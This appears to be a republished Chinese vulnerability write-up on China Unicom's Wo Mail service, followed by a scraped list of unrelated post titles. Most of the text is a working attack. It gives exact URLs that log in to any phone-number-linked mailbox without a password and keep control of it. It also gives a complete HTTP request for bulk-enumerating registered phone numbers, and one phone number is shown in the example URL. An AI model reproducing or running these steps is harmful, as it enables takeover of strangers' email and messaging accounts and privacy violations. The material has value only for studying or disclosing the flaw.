中国联通沃任意邮箱账户登录(免密码永久控制沃通行证可发私信短信) ---管管侠
来源:互联网 发布:navicat怎么连接mysql 编辑:程序博客网 时间:2024/05/01 23:18
复现流程:
1.首先手机号注册过邮箱
2.然后访问如下链接,找个注册过邮箱的手机号
http://mail.wo.cn/mail/register.action?actionType=editUserDetailInfo&user=185********
3.填写别名,只能设置一次,但是一般都不会设置,哈哈
4.确认后就跳转进去了
5.因为没有密码,是通过这个接口生成cookie跳转进来的
下面是达到永久控制的步骤
http://mail.wo.cn/mail/register.action?actionType=editUserDetailInfo&user=18600111138
继续改别名会提示,已经有别名了,无所谓,访问下面链接,其实是已经登录的
http://mail.wo.cn/welcome.action
漏洞证明:
6.可批量跑注册过邮箱的手机号了
爆破接口
POST /mail/register.action HTTP/1.1
Host: mail.wo.cn
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://mail.wo.cn/mail/register.action
Content-Length: 50
Cookie:
Connection: close
Pragma: no-cache
Cache-Control: no-cache
actionType=CheckUser&user=18600141111&domain=wo.cn
返回208是注册过邮箱的
- 中国联通沃任意邮箱账户登录(免密码永久控制沃通行证可发私信短信) ---管管侠
- 暴风某站注入一枚 (可给任意用户发任意短信内容)
- 账户密码自动登录
- 中国联通沃旗舰店开设iPhone大讲堂 现可报名
- SSH免密码登录
- ssh 免密码登录
- ssh 免密码登录
- ssh 免密码登录
- ssh免密码登录
- ssh 免密码登录
- ssh 免密码登录
- ssh 免密码登录
- ssh 免密码登录
- ssh 免密码登录
- ssh 免密码登录
- SSH免密码登录
- ssh 免密码登录
- ssh 免密码登录
- 【已解决】C盘-系统引导盘扩大容量
- UML建模之时序图(Sequence Diagram)
- px和dip和dp
- leetcode144 Binary Tree Preorder Traversal
- Java取当前月的最后一天
- 中国联通沃任意邮箱账户登录(免密码永久控制沃通行证可发私信短信) ---管管侠
- 2015.5.19方程也是类
- 安卓打开浏览器
- Ajax请求和同步请求如何区别
- mysqld和mysqld_safe 有什么区别
- redis配置详解
- 本地机器大小端判断(本机数据存储形式)
- oracle 学习(五)
- 解决mqsilist时报outofmemory内存溢出的问题和ulimit的用法